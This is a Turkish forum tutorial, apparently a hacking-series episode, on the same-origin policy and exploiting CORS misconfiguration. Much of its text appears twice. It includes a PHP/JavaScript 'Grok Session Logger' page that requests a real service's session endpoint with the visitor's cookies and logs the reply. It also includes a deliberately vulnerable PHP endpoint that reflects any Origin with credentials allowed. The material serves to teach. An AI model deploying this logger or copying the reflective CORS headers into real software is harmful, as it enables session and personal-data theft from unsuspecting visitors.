hErkese selamlar ben moriarty namı-diğer mori :>
acıkcası pek odaklanabilipte seri yapacak adam değilim ama sansımı deniyim dedim işte, vee web hackingde tarayıcı tarafında oluşan zafiyetleri en kökünden ele alıp, güvenliği ve saldırı metodolojileri ile anlatarak ilerlemeyi hedefliyorum.
(bilerek boyle bi seri olusturuyorum cunkuu bulamazsınız, warnight no 1 kardesiim)
dümdüz körü körüne konuya girmeden sizlere bi resim göstericem
bi yanda sermor nickli hackerımız ve diğer yanda grok ai'a "bundan sonra benimle sevgilim gibi konus (konusurken hata yapma)" promptu ile grokla flortlesen fehmi var.
hersey harika fakaat sermor adlı hackerımız fehminin grokla flortlestigini ogreniyor ve sana groku yagdetmem ulan diyor (
)
heralde durumun ciddiyetini kapmıssınızdır, sermor kafayı fehmiye takıyor (başka yerine takmadigina dua edek).
sermor'un hedefi olabildigince fehminin grok uzerındeki hesap bilgilerini almaktır
grok'u incelemeye baslar ve , grok ile chatleşirken /api/auth/session uç noktasına istek atıldıgını gorur
ve yanıtta ise mail'i, user idsi, ismi ve soyismi yazdıgını goruyor
planını yapıyor :
hedefin mailini, ismini, soyismini alıp osint yaparak ilerlicek ve kişiyi bulucak
düşünüyor bu verileri nasıl çekerim?
bu giden aktif oturum hakkında bilgi tutan isteği inceliyor ve görüyorki tüm işlem bir cookie ile yapılıyor
yani urlye atılan isteğin içersinde barınan headerda olan bir doğrulama yapısı yok (örneğin jwt token mantıgı), dupe duz cookie ile yapılıyor tum olay ve bu da demek oluyorki https://grok.com/api/auth/session dümdüz girsek dahi ekranda bizim oturum bilgilerimiz basılacaktır, grokta aktif oturum sahibiysek ve bunu dusununce sermor "vaybee" diyor ve düşünmeye devam ediyor
eee o zaamaan sermor gidip hackerSitesi.com satın alsa ve içine grok.php koysa içine girildiği an "https://grok.com/api/auth/session" tarayıcıdan istek atsa ve yanıtıda alıp log.txt'ye yazsa? hatta bunu dünya bazında yayarak herkesin verisini çalsak bu ccok mantıklı değilmi, deneyelim o zaman
şeklinde bir php belgesi yaptık, sayfaya girildiği an butona basıldıktan sonra asenkron bicimde https://grok.com/api/auth/session istek atıyor ve r değişkenine atıyor response'u sonrasında "d" değişkeni ile dönen yanıtı json'a çevirip grok.php ye bir post metodunda istek yolluyor hata olusursada result adlı bolume sonucu basmak yerine hatayı bastırıyoruz ve sunucu tarafındada "
" eğerki post metodunda istek geldiyse log.txt icine , istek içersinde gelen tüm gövdedeki veriyi yazıyoruz basınada verinin yazılma tarihini ekliyoruz, hersey harika gibi ve test edelim:
sermor session çal butonuna tıklattı ve tarayıcı olusan hatayı yakalayıp ekrana bastı, "failed to fetch" sermor şuan noldugunu anlamaya calısıyordu hersey kusursuzdu ama neden calısmamıstı bu?
işte tam buradaa same origin policy (SOP) ve onun alt baslıgı olan cross origin resource sharing (CORS) devreye girmekte, peki bu değişiik isimliler ne dersemiz
yukardaki anlattıgım senaryoyu hatırlayın, sermor'un bir sitesi vardı domain'ide "hackerinsitesi.com" ve amacıda /grok.php belgesindeki kod sayesinde sayfaya her girenin grok'taki kişisel bilgilerini (unserizalize oturum bilgilerini) sunan api endpoint'ine istek atıp dönen yanıttanda onu log.txt ye kaydetmekti. unutmayın sermor şuan burdaki istek atıp yanıtı cekme işlemi tarayıcının anladıgı yazılım dili olan javascript ile yapmayı denedi ve tarayıcıda, masaya büllüğü çıkartıp koydu dediki "
türkçe çevircek olursak kısaca diyorki: bir URL'nin same origin durumunu öğrenmek için şu algoritmayı kullanırız
scheme://host/port = scheme://host/port
yaani schema (ornegın http://) host (ornegın google.com) port (ornegın 80) egerki bunlar hedef url ile aynı durumdaysa o zaman same origindir bu fakat sheme veya port veya host bi tanesi bile farklıysa = cross origindir.
örneğin:
cross origin
same origin
cross origin
ai a yaptırdıgım daha fazla ornegin oldugu tablo
(kaynak: https://datatracker.ietf.org/doc/html/rfc6454)
şimdik tarayıcının bir urlyi aynı kaynakmı yoksa capraz (farklı) kaynakmı oldugunu nasıl sectigini anladıgınıza gore konuya devam edelim.
same origin politikası oldugu icin web developmenttaki ana olay, veri akısı durucaktı yani remote api yapısıdır veyaa scraping veyaa benzeri mimarileri düşünün işte, bir sitenin kendi uri'si dısında baska hicbiyerden response okuyamadıgını dusunun
ornegin şu resim uzerınden sorunu size anlatayım
şimdiik, resimde gördüğünüz üzere arkadasımız sirket.com/login sayfasından admine giriş yapıyor ve arka planda ise proxy api olan backend.sirket.com/api/login'e iletiliyor girilen kullanıcı adı, şifre sonrasındada backend.sirket.com/api/login'de alınan bilgiler kontrol ediliyor ve bilgiler dogruysa adamı admine yönlendiriyor. (amac olsun duzenle mimari
)
hersey cok iyi gozuksede same origin policy burda olay cıkartıyor ve tum mekanizmayı batırıyor ve diyorki "kardeşim senle biz aynı originde değiliz siktir git yolunu bul bana karısma" birisi subdomain birisi main olsa bile yani host değeri değişmiş oldugu icin eşleşme tamamlanmıyor ve sonucundada ortaya mimarisel hata cıkıyor (kapıda kalıyo adminimiz, giriş yapamıyor cunku yani response'da dönen giriş basarılı veya hatalı yanıtlarına göre adamı iceri sokuyor veya sokmuyor ama hic okuyamadıgımızı dusunun)
tamam işte tam bu yapı yuzunden CORS yaani "cross origin resource sharing" adında bir guvenlik mekanizması ortaya cıktı amacıda şu: sop'de hani originler eşleşmiyorsa hata uretip response okunmasını engelliyorduya tarayıcılar, cors ilede onu gevşetiyoruz ve sunucuda ayar yapıyoruz cors'a erişim belirteci koyuyoruz, yani origine kimler erişipte donen yanıta kadar okuyabilir onu servera anlatıyoruz yani yukardaki ornekte anlattığım gibi sirket.com'a whitelist olarak backend.sirket.com'u tantııyoruz ve artık cors'dan sayılmıyor bu da.
kodlar üzerinden anlatmam gerekirse
2 tane belge oluşturduk birisinin adı corsexp.php , diğerinin adıda veriler.php
ve yine aynı dizinde 2 tane cloudflare subdomaininde tünel oluşturduk:
1
2
iki farklı origin, same originin kuralları yürücek bunlar arasında şimdi.
kodları inceliyelim:
oturum baslatıp icine user'a femi, email e [email protected], logged_in e true değerlerini verip sessiona kayıp ediyoz ve ekrana session id ve session'un dumpını basıyoruz.
webde calıstırılmıs hali:
ve corsexp.php gelirsek (saldırganın sayfası, hedefi cross origindeki veriler.php okuyup ekrana basmak.)
javascriptin fetch fonksiyonunu kullanarak giren kisinin oturumuyla beraber "https://entry-oecd-pregnancy-incidents.trycloudflare.com/veriler.php" istek atıyor ve donen yanıtı alıp ekrana basıyor bu kadar.
test ediyoruz, hiçbir cors kuralı vs. uygulamadık daha saf istek atıp yanıtı bastırcaz bakalım olucakmı yoksaaa devreye SOP'mu giricek:
yani diyorki
işte tüm dediğimiz olaylardan burda doğrulanıyor ve SOP çalışıyor çünküü veriler.phpde yanıtı döndürürken cors ayarlaması yapmadık, yanıtta baslıklar eklemeliyiz ve o baslıklarda ise demeliyizki "bucks-prevent-while-surface.trycloudflare.com" guveniyorum, benden alabildigini alsın no problem, yani sunucu eğer yanlıs yapılandırılmıssa bu sayede tum kritik endpoinleri bu sekil okuyup bilgi sızdırma islemi yapabiliriz.
veriler.php'nin örneğin yanlıs yapılandırılmıs halini gostermem gerekirse:
burdaki
amacına gelirsek , hani tarayıcı tarafında fetch ile attıgımız istekte
credentials: 'include' dedikya , Access-Control-Allow-Credentials sayesinde verilen değere göre oturum ile istek atılıyor yani true verdiysek , fetch isteği sorunsuz iletilcektir ama true demediysek bu header'a
dicektir, kısaca diyoki ben clientten credentials:'include' yolluyorum amma velakin sunucu response headerında bu durum true olarak işaretlenmemiş. ve credentials:'include' ile fetch isteği atmamızın nedenide hedef kullanıcı bizim sayfamıza girince, hedef sitedeki oturumunu kullanarak isteği atabilmemizdir. bunada gene SOP maydonoz oluyor , ama dediğimiz gibi yanlıs / hatalı / misconfig yapılmıssa hacker bu sekilde verileri inclde edip isteği yollar.
amacıda sadece get,post,options requestlerine izin verelim diyor cross originlerden istek gelirken (options vermemizin nedenide Preflight, tarayıcının bazı cross-origin isteklerden önce attığı “ön kontrol” isteğidir bu isteğide options metoduya atar bizde sunucuda karsılamak icin options izin veriyoz yoksa fetch requesti en basınca ölür (egerki ek parametreler varsa yani credentials:'include' gibi , options ile bunu checkliyor, sunucuda işte yanıt donduruyor benim şunlara bunlara iznim var ona göre get/post hangi metot ile istek yaapcaksan yapabilirsin) ).
amacı ise, gene cross origindeki clientten gelen headerstaki content type headerına izin vermektir.
tüm izinleri verdik, herşeyimiz okey , bal gibi yanlıs yapılandırdık victim'ın sunucuyu
response artık bize sorun çıkartmıyor.
kısaca bu ilk bolumde sizlere anlatmak istediklerim
- same origin policy nedir, nasıl calısır
- cors nedir, ve nasıl uygulanır ve yanlış yapılandırılmış hali nasıldır
- bir hacker olarak düşünerek cors'un yanlış yapılandırılmış halini nasıl sömürürüz
bölüm 2 için begen yorum yap :>>>
(aklımda bunun bi tık farklı saldırı metodunu canlı hedefte uygulayarak anlatmak var:d)
acıkcası pek odaklanabilipte seri yapacak adam değilim ama sansımı deniyim dedim işte, vee web hackingde tarayıcı tarafında oluşan zafiyetleri en kökünden ele alıp, güvenliği ve saldırı metodolojileri ile anlatarak ilerlemeyi hedefliyorum.
(bilerek boyle bi seri olusturuyorum cunkuu bulamazsınız, warnight no 1 kardesiim)
dümdüz körü körüne konuya girmeden sizlere bi resim göstericem
bi yanda sermor nickli hackerımız ve diğer yanda grok ai'a "bundan sonra benimle sevgilim gibi konus (konusurken hata yapma)" promptu ile grokla flortlesen fehmi var.
hersey harika fakaat sermor adlı hackerımız fehminin grokla flortlestigini ogreniyor ve sana groku yagdetmem ulan diyor (
)heralde durumun ciddiyetini kapmıssınızdır, sermor kafayı fehmiye takıyor (başka yerine takmadigina dua edek).
sermor'un hedefi olabildigince fehminin grok uzerındeki hesap bilgilerini almaktır
grok'u incelemeye baslar ve , grok ile chatleşirken /api/auth/session uç noktasına istek atıldıgını gorur
ve yanıtta ise mail'i, user idsi, ismi ve soyismi yazdıgını goruyor
planını yapıyor :
hedefin mailini, ismini, soyismini alıp osint yaparak ilerlicek ve kişiyi bulucak
düşünüyor bu verileri nasıl çekerim?
bu giden aktif oturum hakkında bilgi tutan isteği inceliyor ve görüyorki tüm işlem bir cookie ile yapılıyor
yani urlye atılan isteğin içersinde barınan headerda olan bir doğrulama yapısı yok (örneğin jwt token mantıgı), dupe duz cookie ile yapılıyor tum olay ve bu da demek oluyorki https://grok.com/api/auth/session dümdüz girsek dahi ekranda bizim oturum bilgilerimiz basılacaktır, grokta aktif oturum sahibiysek ve bunu dusununce sermor "vaybee" diyor ve düşünmeye devam ediyor
eee o zaamaan sermor gidip hackerSitesi.com satın alsa ve içine grok.php koysa içine girildiği an "https://grok.com/api/auth/session" tarayıcıdan istek atsa ve yanıtıda alıp log.txt'ye yazsa? hatta bunu dünya bazında yayarak herkesin verisini çalsak bu ccok mantıklı değilmi, deneyelim o zaman
PHP:
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
file_put_contents('log.txt', date('Y-m-d H:i:s') . "\n" . file_get_contents('php://input') . "\n---\n", FILE_APPEND);
exit;
}
?>
<!DOCTYPE html>
<html>
<head><title>Grok Session Logger</title></head>
<body style="background:#0b0e14;color:#fff;text-align:center;padding-top:50px;font-family:sans-serif;">
<h1 style="color:#f80101;">Grok Session Logger</h1>
<button onclick="fetchSession()" style="background:#1f3a5c;color:#fff;padding:15px 40px;border:none;border-radius:8px;font-size:18px;cursor:pointer;">Session Çal</button>
<pre id="result" style="background:#141a24;padding:15px;border-radius:8px;max-width:600px;margin:20px auto;text-align:left;"></pre>
<script>
async function fetchSession() {
try {
const r = await fetch('https://grok.com/api/auth/session', { credentials: 'include' });
const d = await r.json();
document.getElementById('result').textContent = JSON.stringify(d, null, 2);
await fetch('grok.php', { method: 'POST', body: JSON.stringify(d) });
document.getElementById('result').textContent += '\n\n✅ Loglandi!';
} catch(e) {
document.getElementById('result').textContent = '❌ Hata: ' + e.message;
}
}
</script>
</body>
</html>şeklinde bir php belgesi yaptık, sayfaya girildiği an butona basıldıktan sonra asenkron bicimde https://grok.com/api/auth/session istek atıyor ve r değişkenine atıyor response'u sonrasında "d" değişkeni ile dönen yanıtı json'a çevirip grok.php ye bir post metodunda istek yolluyor hata olusursada result adlı bolume sonucu basmak yerine hatayı bastırıyoruz ve sunucu tarafındada "
if ($_SERVER['REQUEST_METHOD'] === 'POST') { file_put_contents('log.txt', date('Y-m-d H:i:s') . "\n" . file_get_contents('php://input') . "\n---\n", FILE_APPEND); exit;}" eğerki post metodunda istek geldiyse log.txt icine , istek içersinde gelen tüm gövdedeki veriyi yazıyoruz basınada verinin yazılma tarihini ekliyoruz, hersey harika gibi ve test edelim:
sermor session çal butonuna tıklattı ve tarayıcı olusan hatayı yakalayıp ekrana bastı, "failed to fetch" sermor şuan noldugunu anlamaya calısıyordu hersey kusursuzdu ama neden calısmamıstı bu?
işte tam buradaa same origin policy (SOP) ve onun alt baslıgı olan cross origin resource sharing (CORS) devreye girmekte, peki bu değişiik isimliler ne dersemiz
yukardaki anlattıgım senaryoyu hatırlayın, sermor'un bir sitesi vardı domain'ide "hackerinsitesi.com" ve amacıda /grok.php belgesindeki kod sayesinde sayfaya her girenin grok'taki kişisel bilgilerini (unserizalize oturum bilgilerini) sunan api endpoint'ine istek atıp dönen yanıttanda onu log.txt ye kaydetmekti. unutmayın sermor şuan burdaki istek atıp yanıtı cekme işlemi tarayıcının anladıgı yazılım dili olan javascript ile yapmayı denedi ve tarayıcıda, masaya büllüğü çıkartıp koydu dediki "
kardeşim sen şimdi groka istek atıyonda, grokta istiyormu seninle konusmak (burda devreye giren şey sop'dur yani same origin policy yani atılan isteğin aynı origindenmi yoksa farklı origindenmi atıldıgına bakan alettir)" işte tam bu problem yüzünden CORS ortaya çıktı, problemimiz nedir? buraya girmeden önce SOP'e göre origin nedir ve nasıl belirlenir inceleyelim:türkçe çevircek olursak kısaca diyorki: bir URL'nin same origin durumunu öğrenmek için şu algoritmayı kullanırız
scheme://host/port = scheme://host/port
yaani schema (ornegın http://) host (ornegın google.com) port (ornegın 80) egerki bunlar hedef url ile aynı durumdaysa o zaman same origindir bu fakat sheme veya port veya host bi tanesi bile farklıysa = cross origindir.
örneğin:
http://google.comhttps://google.comcross origin
http://google.com/kek.phphttp://google.com/seks.phpsame origin
http://google.com:3131/http://google.com:7289/cross origin
ai a yaptırdıgım daha fazla ornegin oldugu tablo
| URI 1 | URI 2 | Durum | Açıklama |
|---|---|---|---|
http://google.com | http://google.com | Same Origin | Tamamen aynı |
http://google.com | http://google.com:80 | Same Origin | Port belirtilmezse varsayılan port (80) kullanılır |
http://google.com/kek.php | http://google.com/seks.php?id=5 | Same Origin | Path ve query farklı olsa da origin aynı |
http://google.com | https://google.com | Cross Origin | Scheme farklı (http ≠ https) |
http://google.com | http://google.com:3131 | Cross Origin | Port farklı |
http://example.com | http://sub.example.com | Cross Origin | Host farklı (subdomain farklı sayılır) |
http://Example.COM | http://example.com | Same Origin | Host büyük/küçük harfe duyarsızdır |
data:text/html,Hello | data:text/html,Hello | Cross Origin | data: URI’leri her zaman unique origin’dir |
şimdik tarayıcının bir urlyi aynı kaynakmı yoksa capraz (farklı) kaynakmı oldugunu nasıl sectigini anladıgınıza gore konuya devam edelim.
same origin politikası oldugu icin web developmenttaki ana olay, veri akısı durucaktı yani remote api yapısıdır veyaa scraping veyaa benzeri mimarileri düşünün işte, bir sitenin kendi uri'si dısında baska hicbiyerden response okuyamadıgını dusunun
ornegin şu resim uzerınden sorunu size anlatayım
şimdiik, resimde gördüğünüz üzere arkadasımız sirket.com/login sayfasından admine giriş yapıyor ve arka planda ise proxy api olan backend.sirket.com/api/login'e iletiliyor girilen kullanıcı adı, şifre sonrasındada backend.sirket.com/api/login'de alınan bilgiler kontrol ediliyor ve bilgiler dogruysa adamı admine yönlendiriyor. (amac olsun duzenle mimari
)hersey cok iyi gozuksede same origin policy burda olay cıkartıyor ve tum mekanizmayı batırıyor ve diyorki "kardeşim senle biz aynı originde değiliz siktir git yolunu bul bana karısma" birisi subdomain birisi main olsa bile yani host değeri değişmiş oldugu icin eşleşme tamamlanmıyor ve sonucundada ortaya mimarisel hata cıkıyor (kapıda kalıyo adminimiz, giriş yapamıyor cunku yani response'da dönen giriş basarılı veya hatalı yanıtlarına göre adamı iceri sokuyor veya sokmuyor ama hic okuyamadıgımızı dusunun
)tamam işte tam bu yapı yuzunden CORS yaani "cross origin resource sharing" adında bir guvenlik mekanizması ortaya cıktı amacıda şu: sop'de hani originler eşleşmiyorsa hata uretip response okunmasını engelliyorduya tarayıcılar, cors ilede onu gevşetiyoruz ve sunucuda ayar yapıyoruz cors'a erişim belirteci koyuyoruz, yani origine kimler erişipte donen yanıta kadar okuyabilir onu servera anlatıyoruz yani yukardaki ornekte anlattığım gibi sirket.com'a whitelist olarak backend.sirket.com'u tantııyoruz ve artık cors'dan sayılmıyor bu da.
kodlar üzerinden anlatmam gerekirse
2 tane belge oluşturduk birisinin adı corsexp.php , diğerinin adıda veriler.php
ve yine aynı dizinde 2 tane cloudflare subdomaininde tünel oluşturduk:
1
2
iki farklı origin, same originin kuralları yürücek bunlar arasında şimdi.
kodları inceliyelim:
oturum baslatıp icine user'a femi, email e [email protected], logged_in e true değerlerini verip sessiona kayıp ediyoz ve ekrana session id ve session'un dumpını basıyoruz.
webde calıstırılmıs hali:
ve corsexp.php gelirsek (saldırganın sayfası, hedefi cross origindeki veriler.php okuyup ekrana basmak.)
javascriptin fetch fonksiyonunu kullanarak giren kisinin oturumuyla beraber "https://entry-oecd-pregnancy-incidents.trycloudflare.com/veriler.php" istek atıyor ve donen yanıtı alıp ekrana basıyor bu kadar.
test ediyoruz, hiçbir cors kuralı vs. uygulamadık daha saf istek atıp yanıtı bastırcaz bakalım olucakmı yoksaaa devreye SOP'mu giricek:
yani diyorki
https://bucks-prevent-while-surface.trycloudflare.com adresindeki siten, https://entry-oecd-pregnancy-incidents.trycloudflare.com/veriler.php adresinden veri çekmeye çalışıyor. Ama tarayıcı bunu [B]CORS politikası[/B] yüzünden engelliyor. Çünkü veriler.php cevap verirken şu izin başlığını göndermiyor:Access-Control-Allow-Origin işte tüm dediğimiz olaylardan burda doğrulanıyor ve SOP çalışıyor çünküü veriler.phpde yanıtı döndürürken cors ayarlaması yapmadık, yanıtta baslıklar eklemeliyiz ve o baslıklarda ise demeliyizki "bucks-prevent-while-surface.trycloudflare.com" guveniyorum, benden alabildigini alsın no problem, yani sunucu eğer yanlıs yapılandırılmıssa bu sayede tum kritik endpoinleri bu sekil okuyup bilgi sızdırma islemi yapabiliriz.
veriler.php'nin örneğin yanlıs yapılandırılmıs halini gostermem gerekirse:
PHP:
<?php
// veriler.php — Hedef sunucu
header("Access-Control-Allow-Origin: " . $_SERVER["HTTP_ORIGIN"]);
header("Access-Control-Allow-Credentials: true");
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");
header("Access-Control-Allow-Headers: Content-Type");
session_start();
// Oturum verileri
$_SESSION['user'] = 'fehmi';
$_SESSION['email'] = '[email protected]';
$_SESSION['logged_in'] = true;
echo "🔐 Oturum Bilgileri:\n";
echo "Session ID: " . session_id() . "\n";
print_r($_SESSION);
?>burdaki
header("Access-Control-Allow-Origin: " . $_SERVER["HTTP_ORIGIN"]); bu kısaca, bana istek atan herkese "yanıtı kabak gibi göster, kuralım yok kardeşim herşeyim acıkta benim" demektir, her türlü origin'i whitelist'e koyar izin verir yanıtı almaya kısaca.header("Access-Control-Allow-Credentials: true"); amacına gelirsek , hani tarayıcı tarafında fetch ile attıgımız istekte
credentials: 'include' dedikya , Access-Control-Allow-Credentials sayesinde verilen değere göre oturum ile istek atılıyor yani true verdiysek , fetch isteği sorunsuz iletilcektir ama true demediysek bu header'a
dicektir, kısaca diyoki ben clientten credentials:'include' yolluyorum amma velakin sunucu response headerında bu durum true olarak işaretlenmemiş. ve credentials:'include' ile fetch isteği atmamızın nedenide hedef kullanıcı bizim sayfamıza girince, hedef sitedeki oturumunu kullanarak isteği atabilmemizdir. bunada gene SOP maydonoz oluyor , ama dediğimiz gibi yanlıs / hatalı / misconfig yapılmıssa hacker bu sekilde verileri inclde edip isteği yollar.
header("Access-Control-Allow-Methods: GET, POST, OPTIONS");amacıda sadece get,post,options requestlerine izin verelim diyor cross originlerden istek gelirken (options vermemizin nedenide Preflight, tarayıcının bazı cross-origin isteklerden önce attığı “ön kontrol” isteğidir bu isteğide options metoduya atar bizde sunucuda karsılamak icin options izin veriyoz yoksa fetch requesti en basınca ölür (egerki ek parametreler varsa yani credentials:'include' gibi , options ile bunu checkliyor, sunucuda işte yanıt donduruyor benim şunlara bunlara iznim var ona göre get/post hangi metot ile istek yaapcaksan yapabilirsin) ).
header("Access-Control-Allow-Headers: Content-Type");amacı ise, gene cross origindeki clientten gelen headerstaki content type headerına izin vermektir.
tüm izinleri verdik, herşeyimiz okey , bal gibi yanlıs yapılandırdık victim'ın sunucuyu
response artık bize sorun çıkartmıyor.
kısaca bu ilk bolumde sizlere anlatmak istediklerim
- same origin policy nedir, nasıl calısır
- cors nedir, ve nasıl uygulanır ve yanlış yapılandırılmış hali nasıldır
- bir hacker olarak düşünerek cors'un yanlış yapılandırılmış halini nasıl sömürürüz
bölüm 2 için begen yorum yap :>>>
(aklımda bunun bi tık farklı saldırı metodunu canlı hedefte uygulayarak anlatmak var:d)
Son düzenleyen: bir moderatör:
